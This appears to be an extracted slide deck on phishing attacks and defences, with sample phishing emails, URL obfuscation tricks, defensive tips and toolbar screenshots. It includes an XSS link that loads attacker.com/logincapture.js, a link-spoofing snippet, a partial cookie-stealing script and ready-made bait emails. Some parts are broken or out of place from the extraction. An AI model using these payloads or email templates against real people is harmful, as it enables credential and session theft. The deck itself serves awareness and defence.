Phishing
Attack and Defense

Nilesh Kumar
Agenda

• What is Phishing
• Phishing Statistics
• Phishing Techniques
• Phishing Defenses
What is Phishing?

• Phishing = Social Engineering + Technical Subterfuge

• Phishers attempt to fraudulently acquire sensitive information, such as usernames, passwords and credit card details, by masquerading as a trustworthy entity in an electronic communication.

• Delivery Mechanism
  – Spoofed E-mail (or website or IM or Weblogs)

• Link Sends User to…
  – **Bogus** Website Phishing
  – **Real** Website Phishing

• Social Networking sites are also a target of phishing, since the personal details in such sites can be used in identity theft.
How Significant?

• 64 brands reported hijacked by Phishing in 2008

• Dramatic growth over past 2 years

• Attack Implications
  – Lost Revenue
  – Brand Erosion
  – Regulatory Issues
    • GLB
    • SoX
    • CA 1386
    • HIPAA
Statistics

Last Year,
- 15,820 phishing e-mail messages reported to the APWG.
- 4367 unique phishing sites identified.
- 96 brand names were hi-jacked.
- Average time a site stayed on-line was 5.5 days.

As per InformationWeek study:
43 percent of adults have received a phishing contact.
Five percent of those adults gave their personal information.
Types of Phishing
Bogus Website Phishing

- Use social engineering (such as email) to get the victim to click on a link with attack

- You are redirected to web site controlled by the attacker. Everything you enter goes to the attacker’s web server.
Real Website Phishing

• Attack embedded in e-mail link
  – http://www.superveda.com/dosearch.asp?string=<script> the attack </script>

• Look Authentic!
  - URL from real website
  - Genuine certificate from the real website
  - SSL would work correctly

• Page has injected code
  - Code for login and password form injected by attacker
  - Only by looking at property of frame can one see it is injected code sourced from attacking site
How is it Done?

• Attack code written in standard client side script language
  – E.g. JavaScript, VBScript, etc

• Link in e-mail mixes calls to real website with attack code
  – Attack code could be invoked from attackers website
    • http://www.superveda.com/login.asp?
      return=javascript.src=http://www.attacker.com/logincapture.js
  – Attack could be completely incorporated into the link
    • http://www.superveda.com/dosearch.asp?
      return=<script> ATTACK </script>

• Returned webpage mixes both real website and attack
May 17, 2008

Dear USSB Customer,

The Internet Safety Team at Union Standard Savings Bank has been working hard to ensure your utmost personal safety while visiting our website.

Our upgrades have included improved security features like full encryption for every facet of your visit, and enhanced protection on our accounts database to keep your personal data safe at all times.

We’re proud of this work on your behalf, but we must ask one action your part to take advantage of these new features. Please login to your account at your earliest convenience to not miss another moment of this improved set of security offerings.

For your convenience we ask that you Login Here.

Sincerely,

USSB Internet Safety Team
Clicking on Login Here link will execute the following script:


Decoding the URL:


Decoding again:

<iframe src=http://www.cybercriminalbank.com/login.php>
Dear APWG team,

On January 28, 2008 I had received a mail claiming to be sent from your side to my Rediffmail account -- Axis bank <account_alert@axisbank.com> asking me to verify my user credentials as the site going through major upgradation. There was a URL given below to be clicked:

https://www.axisbank.co.in/BankAway/SignOn.aspx?RequestId=714870

As a security consultant I analysed and found that the URL is leading me to:
http://www.rediffmail.com/cgi-bin/red_cgi?isImage=0&BlockImage=0&red= http://papasparasiempre.org/yabb/cgi-bin/Axis/1/axisbank.com/index.htm

Decoding the highlighted link gives:

http://www.papasparasiempre.org/yabb/cgi-bin/Axis/1/axisbank.com/index.htm

which displays a home page of Axis Bank -- 'Under Construction' and asks to verify credentials whereas the original AxisBank site was working fine.

As I became suspicious I informed Axis Bank team about the issue to confirm whether its a genuine mail or forged one.

They replied that the mail was not sent by them.

Please verify it and please let me know..

--
Thanks & Regards,
Nilesh Kumar,
Email:

"During our regularly scheduled account maintenance and verification procedures, we have detected a slight error in your Account billing information."

Dear Valued Customer,

During our regularly scheduled account maintenance and verification procedures, we have detected a slight error in your Account billing information. This might be due to either of the following reasons:

1. A recent updates in our billing server (Due to slightly problem)
2. A recent change in your personal information (i.e. change of address).
3. An inability to accurately verify your selected option of payment due to an internal error within our processors.

Please re-confirm your Internet Banking by clicking the link below:

Thanks for your advance help.

Axis Bank
Customer Service.
Marcus Evans Scam Events
Get the information you need on scam prevention by attending the Marcus Evans events. To know more about the events, visit here.

Marcus Evans fraud events
Marcus Evans fraud events will teach you the skills needed to safeguard your company against
Phone (Voice) Phishing

• Not all phishing attacks require a fake website.
• In an incident in 2006, messages that claimed to be from a bank told users to dial a phone number regarding problems with their bank accounts.
• Once the phone number (owned by the phisher, and provided by a Voice over IP provider) was dialed, prompts told users to enter their account numbers and PIN.
• Voice phishing sometimes uses fake caller-ID data to give the appearance that the calls come from a trusted organization.
Some other techniques

- Official looking and sounding emails
- Copies of legitimate corporate emails with minor URL changes
- Standard virus/worm attachments to emails
- Fake postings to popular message boards and mailing lists
- Use of fake Mail From:: addresses
- IP addresses instead of domain names in hyperlinks that address the fake web site
- Registering similar sounding DNS domains and setting up fake web sites that closely mimic the domain name of the target web site.
- Encoding or obfuscating the fake web site URL.
- Configuring the fake phishing web site to record any input data that the user submits, silently logs them and then forwards the user to the real web site.
- Setting up a fake web site to act as a proxy for the real web site of the target brand.
- Using malware to manipulate the hosts file on a victim's PC
Few Tricks

Similar domain names

Misspelled domain names
Few Tricks (Cont..)

- Link text – vs- Link target


- Link + Javascript events

  <a href="http://bad.com"
     onMouseOver="window.status='http://bank.com'"
     OnMouseout="window.status='Done'">http://bank.com</a>
Few tricks (cont..)

Host obfuscation
- Zero octets are optional
  (http://127.0.0.1 = http://127.1)
- Octets -> IP number
  (http://202.186.13.4 = http://3401190660)
- Non-Base10 IP address
  (http://0xd4.0xbb.0x77.0xab/)
- Non-Base10 IP number
  (http://0xd4bb77ab/)
- All permutations and combinations
  (http://0324.0xbb.119.0253)
Few Screenshots showing how Phishing attacks can be detected
We recently have determined that different computers have logged onto your Online Banking account, and multiple password failures were present before the logons. We now need you to re-confirm your account information to us.

If this is not completed by September 27, 2007, we will be forced to suspend your account indefinitely, as it may have been used for fraudulent purposes. We thank you for your cooperation in this manner.

To confirm your Online Banking records click on the following link:
http://Dxcb5c3a88/icons/www.bankofamerica.com/online/online_secure/

Thank you for your patience in this matter.

Bank of America Customer Service

Please do not reply to this e-mail as this is only a notification. Mail sent to this address cannot be answered.
Dear eBay customer,

During our regularly scheduled account maintenance and verification procedures, we have detected a slight error in your billing information.

This might be due to either of the following reasons:

1. A recent change in your personal information (i.e., change of address).
2. Submitting invalid information during the initial sign-up process.
3. An inability to accurately verify your selected option of payment due to an internal error within our processors.
Example of a typical, poorly-constructed phishing e-mail message

Dear Email User,

Prior to the unwanted spam in our UTSA webmail service, we have decided to perform maintenance on our site. Our maintenance is based on free Anti-spamming protection for all UTSA users accounts, which is number 10 of our UTSA email/exchange terms and condition. You are to send in your information below in this order:

1.) Full NAME:
2.) USER ID:
3.) PASSWORD:
4.) ALTERNATE EMAIL:
5.) SECRET QUESTION:
6.) SECRET ANSWER:
7.) DATE OF BIRTH:

This process will help us to fight against spam mails. Failure to submit your UTSA email/exchange Account Details, will render your email address in-active from our database.

NOTE: You will be notified in your email password reset message immediately after undergoing this process for security reasons.

Technical System Team

MAINTENANCE TEAM
maintenance@utsa.edu
What is Twitter?

Twitter is a service for friends, family, and co-workers to communicate and stay connected through the exchange of quick, frequent answers to one simple question: What are you doing?
Dear valued Woodgrove member,

In our terms and conditions you have agreed to state that your account must always be under your control or those you designate at all times. We have noticed some activity related to your account that indicates that other parties may have tried gaining access or control of your information in your account.

Therefore, to prevent unauthorized access to your Woodgrove Internet Banking account, you are limited to five failed login attempts in a 24-hour period. You have exceeded this number of attempts.*

Please follow the link below and renew your account information.

https://vault.woodgrove.com/default.asp

Click here to go to CitiBank: http://www.citibank.com
Is this me?
Attack when victim is logged in

• Phishers can strike even when you are logged in to your account like social networking sites.

• You are lured to click a link with some help of social engineering.

To Add a friend click here

• Attack causes the victim to run the following script:
  <script>
  document.cookie + '>')
  </script>

The above script will send the currently logged in victim’s sessionID to attacker’s web server which the attacker can use to log into the site simultaneously.
Detection and Countermeasures
Dear [Name],

You have recently been contacted by the Chase Online Security Department regarding fraudulent activity on your account. We have noticed unusual activity on your account and are reaching out to ensure your security.

We have reason to believe that your account may have been compromised and we are taking proactive measures to protect your personal information. As part of this process, we may need to verify your identity and access to your account.

We understand that you may have concerns about your account security and we want to assure you that we are taking the necessary steps to address any potential issues. We will not contact you in this manner without prior notification.

We appreciate your patience and understanding during this process. If you have any questions or concerns, please feel free to contact us at [support number].

Thank you for your cooperation.

Best regards,

[Chase Online Security Department]
<table>
<thead>
<tr>
<th>URL</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://0xd3.0xba.0x8a.0x03/chase.com/">http://0xd3.0xba.0x8a.0x03/chase.com/</a></td>
<td>SCAM ALERT! URLs with all numbers in the front are usually scam.</td>
</tr>
<tr>
<td><a href="http://www.msn.com">http://www.msn.com</a></td>
<td>If you are not familiar with this site, google &quot;msn&quot;</td>
</tr>
<tr>
<td><a href="http://202.57.255.177/citizensbank.com/index.php">http://202.57.255.177/citizensbank.com/index.php</a></td>
<td>SCAM ALERT! Don't trust URLs with all numbers in the front.</td>
</tr>
<tr>
<td><a href="http://www.ebay.com">http://www.ebay.com</a></td>
<td><a href="http://www.ebay.com">www.ebay.com</a> is the home page of the auction site eBay.</td>
</tr>
<tr>
<td><a href="http://www.msn-verify.com/">http://www.msn-verify.com/</a></td>
<td>SCAM ALERT! keywords such as verify, update in the domain usually means it is scam.</td>
</tr>
<tr>
<td><a href="https://www3.nationalgeographic.com/">https://www3.nationalgeographic.com/</a></td>
<td>Don't be fooled by the www3, this site belongs to nationalgeographic.com.</td>
</tr>
</tbody>
</table>
• Users who are contacted about an account needing to be "verified" (or any other topic used by phishers) can contact the company that is the subject of the email to check that the email is legitimate. They can also type in a trusted web address for the company's website into the address bar of their browser to bypass the link in the suspected phishing message.

• Phishing filters

• Keep your antivirus and antispyware software up to date

• Do not respond to suspicious email and do not click on any links within the email

• Only open email attachments if you're expecting them and know what they contain.

• Con artists also use Web addresses that resemble the name of a well-known company but are slightly altered by adding, omitting, or transposing letters. For example, the address "www.microsoft.com" could appear instead as:

  www.micosoft.com
  www.mircosoft.com
  www.verify-microsoft.com
Settings in Firefox
Settings in IE
Netcraft Toolbar

- Browser toolbar to report and block phishing sites identified by the toolbar user community, identifies in which countries websites are hosted.
- Can be downloaded from http://toolbar.netcraft.com
Netcraft Toolbar

Cross-Site Scripting (XSS) detected!

The page you are trying to visit is using Cross-Site Scripting (XSS). This is a technique commonly used in phishing attacks.

URL: http://example.com?user=foo&password=%253Cscript%253E

If this is a mistake, please report it using 'Report Incorrectly Baked URL' in the Netcraft Menu.

Do you still want to go there?

Yes  No
Netcraft Toolbar

- The site is blocked by the toolbar and includes that URL in its database for blacklisting.

This phishing site has been blocked by the Netcraft Toolbar.

Please try the following:

- If you believe this site has been blocked in error, please report it.

Phishing Site Blocked
Netcraft Toolbar
What to do if you receive a suspicious email:

• Do not respond to the email

• Do not click on a link in an email unless you are sure of the real target address.

• Verify the identity and security of the web site.

• Report suspicious email

• Never reveal personal or financial information in a response to an email request, no matter who appears to have sent it.

• Delete the email
What to do if you’ve responded to a phishing scam:

- Report the incident
- Change the passwords on all your online accounts
- Routinely review your credit card and bank statements
- Use the latest products and services to help warn and protect you from online scams
Prevention: What to Do

- Protect your computer with anti-virus software, spy ware filters, e-mail filters, and firewall programs, and make sure that they are regularly updated.
- Ensure that your Internet browser is up to date and security patches applied.
- Be suspicious of any e-mail with urgent requests for personal financial information or threats of termination of online accounts.
- When contacting your financial institution, use only channels that you know from independent sources are reliable.
- Always ensure that you're using a secure website when submitting credit card or other sensitive information via your Web browser.
- Regularly log into your online accounts.
Prevention: What not to do

• Don’t use the links in an e-mail to get to any web page, if you suspect the message might not be authentic.

• Avoid filling out forms in e-mail messages or pop-up windows that ask for personal financial information.
APWG

• The Anti-Phishing Working Group (APWG) is an international consortium that brings together businesses affected by phishing attacks, security products and services companies, law enforcement agencies, government agencies, trade association, regional international treaty organizations and communications companies.

• They maintain huge database of Phishing Attack, Trends, Reported real Incidents with screenshots, Articles and research materials.

• You can also report any Phishing attack to them, they will verify it and publish it.

• Link: http://www.antiphishing.org/
Thank you for your patience!

Questions?